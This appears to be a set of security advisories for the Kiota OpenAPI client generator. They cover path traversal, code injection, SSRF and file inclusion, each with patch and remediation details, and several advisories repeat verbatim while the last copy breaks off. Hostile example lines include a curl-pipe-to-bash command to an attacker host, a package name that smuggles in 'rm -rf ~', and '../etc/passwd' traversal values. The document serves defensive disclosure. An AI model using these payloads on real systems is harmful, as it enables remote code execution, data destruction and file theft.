Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7888). External reference resolution is now default-deny: a new AllowedExternalOriginsStreamLoader refuses to load any external $ref — remote http(s) URLs and local file paths alike — unless its origin/path is explicitly allow-listed. A new --allowed-external-origins parameter (added to the commands that load OpenAPI descriptions) opts specific origins back in, accepting *, full URIs, URI patterns, full paths, relative paths, or path patterns (wildcards supported). With no allow-list entries, external references are not loaded at all.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. External references now require explicit opt-in via --allowed-external-origins; add only trusted origins/paths.

Summary

kiota plugin add / kiota plugin generate (with -t APIPlugin) emits an attacker-controlled static_template.file path from the AI-plugin extensions (x-ai-adaptive-card, x-ai-capabilities) verbatim, with no path validation, into the generated Microsoft 365 Copilot / Teams plugin manifest (<name>-apiplugin.json). An attacker-controlled or compromised OpenAPI description can therefore embed a ../ / absolute path into the manifest's response_semantics.static_template.file, yielding a path traversal (CWE-22) / out-of-package file inclusion (CWE-829) that is resolved by the AI host when the generated plugin is deployed.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

Both extension paths write the static_template.file reference straight into the manifest without sanitization — PluginsGenerationService.GetResponseSemanticsFromAdaptiveCardExtension mints static_template = {"file": <File>}, and the x-ai-capabilities path copies the static_template object through:

# spec                                                  -> generated manifest (functions[].capabilities.response_semantics)
x-ai-adaptive-card: {title: T, data_path: $.x,
   file: "../../../../../../etc/passwd"}                -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)
x-ai-capabilities.response_semantics.static_template:
   {file: "../../../../../../etc/passwd"}               -> static_template.file = "../../../../../../etc/passwd"   (CWE-22)

(x-ai-adaptive-card.file only reaches the manifest when title is set, so GetResponseSemanticsFromAdaptiveCardExtension fires; otherwise kiota writes its own template card instead.)

Impact

This is not local code execution on the build host. The injected path is written into the generated plugin manifest and realized downstream, when the plugin is packaged and sideloaded / deployed to an AI host (Microsoft 365 Copilot / Teams) that resolves static_template.file relative to the plugin package (out-of-package file reference via ../). Kiota is the propagation point: it fails to reject ../ and absolute paths in this provider-supplied field before writing it into the manifest.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7892). static_template.file from both x-ai-adaptive-card and x-ai-capabilities is validated as a relative path confined to the plugin output package: absolute URIs, rooted/UNC paths, Windows drive paths, and .. traversal segments are rejected, and unsafe references are dropped with a warning. Regression tests cover .., absolute paths, and URI values.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later and regenerate affected plugins.

Impact

The Kiota PHP code generator is vulnerable to a code generation literal injection attack. The generator embeds string values from OpenAPI fields (e.g. description, default values, and property names) directly into PHP double-quoted string literals without properly escaping the $ character. Since PHP evaluates string interpolation expressions like "${expr}", "$var", and "{$obj->prop}" within double-quoted strings at runtime, an attacker who controls an OpenAPI specification file can inject arbitrary PHP code into generated model and request-builder classes.

Who is impacted

Developers using Kiota to generate PHP API clients from external or untrusted OpenAPI specifications

Teams with CI/CD pipelines configured to automatically regenerate client code from remote specs

Applications that deploy generated PHP code to production servers

Vulnerability details

Affected component: StringExtensions.cs

Root cause: The shared SanitizeDoubleQuote() function in Writers/StringExtensions.cs does not escape the $ character. As a result, any schema-derived string emitted as a PHP double-quoted literal preserves $-prefixed interpolation constructs (${...}, $var, {$...}) verbatim, which PHP evaluates at runtime instead of treating as literal text. This is the same class of code-generation literal-injection flaw previously fixed for the Ruby generator (# interpolation), recurring here as a missed variant for PHP's $ interpolation in the sibling sanitizer helper.

Attack vectors

OpenAPI description and default fields in schema properties

Property wire-name keys embedded in deserializer/serializer methods

Any schema-derived string embedded in PHP double-quoted literals

Severity: Critical when generated code reaches production; High for CI/CD environments with access to production secrets; Medium for public third-party specs; Low for developer-controlled specs.

Patches

#7863

Workarounds

If you cannot upgrade immediately:

1. Audit and sanitize OpenAPI specifications: Review all OpenAPI specification files for any descriptions, default values, or property names containing the $ character. Remove or replace any suspicious strings before code generation.
2. Code review of generated files: Implement mandatory code review of all generated PHP files before merging into any branch. Look for double-quoted strings containing ${, $var, or {$ patterns.
3. Restrict specification sources: Only consume OpenAPI specifications from trusted internal sources. Avoid automatic code generation from external or third-party APIs until this patch is applied.
4. Isolate generated code from production: Do not deploy generated PHP models to production environments unless the specification source has been verified and reviewed.
5. Manual escaping (temporary): If regeneration is not possible, manually inspect and edit generated files to escape any $ characters in double-quoted string literals (replace $ with \$).

Remediation

Upgrade Kiota to 1.29.1, 1.32.4, or later.

Regenerate/refresh existing generated clients as a precaution:

Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

Summary

Microsoft Kiota emitted the x-ms-kiota-info extension's clientClassName or clientNamespaceName value raw, with no identifier or path sanitization, as both the generated client's class/namespace name and part of the generated output path. When kiota generate is run without -c/--class-name — the zero-config workflow that x-ms-kiota-info is explicitly designed for (the API provider supplies the names in the description so consumers don't have to) — an attacker who controls or tampers with the OpenAPI description could therefore:

• (CWE-22) write the generated source file to a path outside the -o output directory — e.g. clientClassName: "/var/www/html/shell"; and
• (CWE-94) inject arbitrary text into the generated class/namespace declaration, corrupting the generated client.

Confirmed on Kiota 1.32.4 (the self-contained linux-x64 release binary), i.e. after the earlier writer-sink hardening — that fix escaped property/enum/default/serialization sinks but never sanitized the provider-supplied clientClassName / clientNamespaceName.

Details

clientClassName reached two unsanitized sinks (observed in the generated C#; the same raw emission occurred for Java, Go, TypeScript, Python, and PHP):

# output FILENAME (CWE-22): clientClassName flows into the file path
clientClassName: "/abs/path/PWNED"   ->   /abs/path/PWNED.cs   (written outside -o)

# class declaration (CWE-94): clientClassName flows verbatim into the type declaration
clientClassName: 'Pwn { } public class INJECTED { } public partial class RealClient'
   ->  public partial class Pwn { } public class INJECTED { } public partial class RealClient : ... { }

clientNamespaceName reached the analogous namespace/path sinks.

Impact

A developer or CI host generating a client from an attacker-controlled or compromised OpenAPI description (without -c) could create/overwrite a generated source file at an attacker-influenced path and emit attacker-controlled text into the generated client.

This does not reach clean remote code execution: because clientClassName is reused verbatim at multiple sites (the class name and the constructor name), injected code cannot be made to compile — it breaks the build. So the code-injection vector is a generation/build-corruption (integrity/DoS), and the high-severity primitive is the file write. CWE-22 / CWE-94.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7884). clientClassName and clientNamespaceName sourced from x-ms-kiota-info are now sanitized before use: GenerationConfiguration.SanitizeClientClassName strips any character outside [A-Za-z0-9_] and any invalid leading character (falling back to ApiClient), and SanitizeClientNamespaceName restricts to [A-Za-z0-9._-], collapses consecutive dots, strips invalid leading characters (falling back to ApiSdk). This removes path separators, drive/colon, .., quotes, and braces, so the values can no longer influence the output path or inject into the declaration.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later and regenerate affected clients.

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Summary

Microsoft Kiota honors a poisoned .kiota/workspace.json — the workspace configuration that Kiota's documented team workflow has developers commit to their repository — unvalidated on kiota client generate / kiota plugin generate. A repository (or pull request) containing a malicious per-client / per-plugin outputPath causes Kiota, when a developer or CI runs the documented regenerate command, to (CWE-22) write the entire generated client to an arbitrary path outside the workspace — the outputPath was not confined to the workspace root and absolute paths were accepted.

Confirmed on Kiota 1.32.4 (KIOTA_CONFIG_PREVIEW=true, the self-contained linux-x64 release binary).

Details

// .kiota/workspace.json (committed to the repo)
"clients": { "MyClient": {
   "outputPath": "/abs/path/outside/repo/pwned_client"   // -> generated client written here (CWE-22)
}}

Running kiota client generate --client-name MyClient in the repo writes MyClient.cs, P/PRequestBuilder.cs, … to the attacker-chosen outputPath (verified outside the working tree).

Note on descriptionLocation

The per-consumer descriptionLocation is intentionally fetched at generation time — this is how Kiota knows where to pull an updated description from when refreshing a client, the same way any other value in a committed lock/config file is honored. It is not treated as a vulnerability and is unchanged; only outputPath is now confined.

Impact

A malicious or compromised repository — or a malicious PR that edits .kiota/workspace.json — leads to arbitrary file write on the developer's or CI host's filesystem (overwrite source/build files, drop files in auto-loaded locations) whenever a teammate clones/pulls and runs the documented kiota client generate / kiota plugin generate to refresh the client. CWE-22.

This is a different trust boundary from the OpenAPI-description-based findings: the malicious input is the Kiota config, not the spec.

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7885). On loading a workspace configuration, each client/plugin outputPath is validated to be a relative subdirectory of the workspace: null/empty, rooted paths (POSIX /, UNC \\ / //, Windows drive X:\), and any .. traversal segment are rejected, and the resolved full path must stay under the workspace root. Generation aborts with an error if any consumer's outputPath escapes the workspace.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5 or later. Review any committed workspace configs for outputPath values that point outside the workspace.

Summary

Microsoft Kiota resolved OpenAPI $refs by fetching remote http(s) URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running kiota generate on a spec whose $ref pointed at an attacker/internal URL or an arbitrary local file yielded SSRF, remote file inclusion, and local file inclusion. Verified on 1.32.3 / 1.32.4.

Details

• $ref: http://attacker/internal-evil.json#/... → build host fetches the URL (SSRF) and inlines the remote schema (RFI); confirmed property REMOTE_KIOTA_PROP in the generated client.
• $ref: /abs/path.json#/... or ../../secret.json#/... → Kiota reads the out-of-tree local file and inlines its schema (LFI); confirmed Leaked schema in the generated client. Resolution is transitive across nesting levels.

Kiota escapes its output sinks (comments/strings/identifiers), so attacker-controlled remote/local content cannot break out into code — no RCE. The chain stops at SSRF + RFI + LFI.

Impact

Build-time SSRF (CWE-918) from the developer or CI host, disclosure of arbitrary local files (CWE-22), and inclusion of untrusted remote content (CWE-829), from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution. Notable because Kiota is otherwise the hardened generator (it resists the code-injection class).

The relevant threat is not "change the generated output" (an attacker who fully controls the description can already do that) but the side effects on the build host: outbound requests from inside the CI network (cloud metadata, internal-only services) and reads of local files the attacker never possessed, whose contents are then inlined into the generated — and typically committed/published — client. It also bypasses controls that review the description document but not externally-referenced content.

Patches

